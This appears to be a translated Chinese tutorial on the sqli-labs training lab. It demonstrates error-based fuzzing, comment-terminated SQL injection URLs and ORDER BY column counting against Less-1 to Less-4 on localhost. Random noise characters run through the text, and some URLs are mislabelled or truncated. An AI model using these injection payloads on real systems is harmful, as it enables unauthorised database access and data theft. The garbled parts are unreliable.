# Q: E8 K8 G6 b5 m# t整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。: x1 o# ]* C9 ^3 q q% N) R
继续模糊化:现在,让我们进一步采取模糊的字符.( `4 _6 Q3 K" S* _5 n- J9 H* d
用单引号来进行测试0 Q$ X- x% S/ {7 y/ {
less1( C: E- n/ M" t5 G. o: O/ {
http://localhost/sqli-labs/Less-1/?id=1‘ ) d, @6 k- [4 ^% xYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 2 H: g9 b, Y7 | _" j* P! O( P3 fless21 \8 t$ s' ^: G2 U
http://localhost/sqli-labs/Less-2/?id=1 ’4 F0 F7 `* w) \' |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1 " R; a1 x, p* |, ]$ I: c7 t+ H+ h3 w: [
less3 - q: L1 y/ ~9 R: ohttp://localhost/sqli-labs/Less-3/?id=1 ’ & G# l+ Y9 R6 c( T/ z! A/ b! z* vYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 14 e( d6 E& ~' W+ u" z
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果. 0 b. I+ d$ s2 D) c' t用双引号进行测试/ Q* G9 L. `5 h" ^* M d0 \/ M
用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。/ g; ~( ]1 ~0 { [
* _/ S1 v) y/ m通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入." u2 y+ S( b( T0 E5 A' Q0 g8 t
" I" c8 V9 d& s1 l" o0 s) g c, V
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。* ~& W3 l7 y5 G
用\进行测试9 M* _8 h. e- g0 }# F
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:2 E& O1 B/ _! ~$ u+ H7 Y
less1 $ V0 s- o5 p+ y# k* k* mhttp://localhost/sqli-labs/Less-1/?id=1\ 0 B# e6 c6 E( _ x$ P/ f4 SYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 " u2 t$ F' K; Mless2 " G* b* t; ^& k2 h: B& V% ohttp://localhost/sqli-labs/Less-2/?id=1\ ! D- }4 ?: y" kYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1 + _' h: E6 {1 J5 eless3 2 P% b( \$ t' {4 N4 G* Phttp://localhost/sqli-labs/Less-3/?id=1\ 0 i- \$ O3 _2 U; f5 J8 i6 i. rYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1$ l2 @) |2 F- J- |. A# i0 I. o
less4 * p% X) H. F) c/ Ohttp://localhost/sqli-labs/Less-4/?id=1\7 Z( r, [# x) |4 i; r2 z
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 12 h. ?9 y W* ?0 w
less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 + j- D* ?; r; Z! ~' s. T7 r Zless2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。/ p$ I! {2 h- d$ O" F
less3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). ; N- w* C* w8 s/ bless4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). 4 O" s* ?& v( k0 l这四种情况在后端查询中使用的语句实际分别为:) o0 I3 n! T; D0 p/ c
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 * n1 n; S+ n7 n. `0 Z eLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1 2 s( g6 J9 h h6 U: ULess-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1: X+ h; L& n- Q" a/ v& [
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 & P$ `! W( m* _9 C- s2 B# j% v- P 1 o* f$ Y+ T- r% U
对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如:; K, o$ m( [6 i0 ] J& c3 f
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,18 S$ ]! o4 {* o7 n* I( h
当我们输入的参数$ID的值为1‘,查询语句就会变成如下: . {; F* P1 T7 `0 i7 ?SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1* @. E% z; S; o" B" D, [
现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法:2 g8 Y2 E+ }0 k' V$ F4 [
方法一: 1 ^; Q. h) `. X4 ]5 C) m5 q% E可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#: a9 C1 s8 b: |* X" Z
查询语句将变为如下: ' a6 @) Q4 X2 {) ^# l& k+ z# x& G% ESELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,11 Z: I1 F( i0 N! |. L. s) ~
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,16 G/ F9 Y( X7 `4 H
注射的完整URL如下:: K8 N9 N; A) m' ]
http://localhost/sqli-labs/Less-1/?id=1′–+- @ I, c0 }" ]+ X
http://localhost/sqli-labs/Less-1/?id=1′ %234 G( q/ ]& Z7 n& X+ Q6 _
(%23是#号的url编码) 5 l1 _/ ^% t! Y在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: 4 m7 e2 L, _ i+ x+ ehttp://localhost/sqli-labs/Less-2/?id=1–+ 5 [! F6 I) x4 u* p 5 l3 ~) [$ ~0 R( ]0 Bttp://localhost/sqli-labs/Less-2/?id=1 %23 % F. F" i1 ~9 a. J8 A hSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1' m4 Z' S4 a; l
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 ) `# C: N. U+ V" k在less3中,我们推断后端sql语句如下:7 ]. z2 q, j9 k+ [5 \7 D* ~
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1' O7 E! v) V/ l. t9 l4 \ U. t
所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句 5 l! l( Y- ~7 f( V- O" pSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,12 H. V5 T% N8 _
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 1 O, L. ^' V+ C2 l! U注射: 1′) –+ 1′) #2 _/ r" m% }; R [+ `, ^: X7 y
完整的注射URL: 2 j; }+ D. c1 @' N/ Q3 Thttp://localhost/sqli-labs/Less-2/?id=1‘)-+2 v. P+ k( I( [
http://localhost/sqli-labs/Less-2/?id=1′) %23 * O0 ^1 ^6 P/ q. v在less4中,我们推广后端sql语句如下: 9 U( D2 S+ p' p( Q# J" b3 v- VSELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,12 }4 i: ^, D* w4 @) v
同样,需要关闭掉分隔符,然后注释掉后面的语句 9 `! }4 ]7 h- `6 lSELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 ; c0 b$ P! t7 S$ [SELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,19 o$ f. n! X' k9 ~& ]
注射: 1″) –+ 1″) # 7 D4 j- _/ M. N' |( ohttp://localhost/sqli-labs/Less-2/?id=1″)–+ % D. r, C6 x- u8 Y6 s6 m/ r" C: Zhttp://localhost/sqli-labs/Less-2/?id=1 “)%23; ^1 t5 \) r' G1 @4 M: H" H
通过查询了解表中的字段数 4 C! H$ \ W' U- ?# M正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。 R- Z& `2 e* k
下面我们测试用order by 1,order by 2……等来查询观察结果. / }% _, T8 Z) m2 fhttp://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 - d. z S& {; l0 mhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列.$ T$ `; z$ u, V+ a8 y
Lesson2:7 o4 V/ q A, N8 \
Injection: 1 ORDER BY 1 –+ => 没有错误. * d# E' D9 N3 x: q8 _Injection: 1 ORDER BY 2–+ => 没有错误., k0 n, c2 Q6 b! h" I2 g6 h( f! G
Injection: 1 ORDER BY 3 –+ => 没有错误. # T: x/ R4 V: p, SInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列. : ^% {$ y4 ?" x3 U9 V当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。) x3 r1 m& O% s5 C
; Q* \# T. _9 y9 }
本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。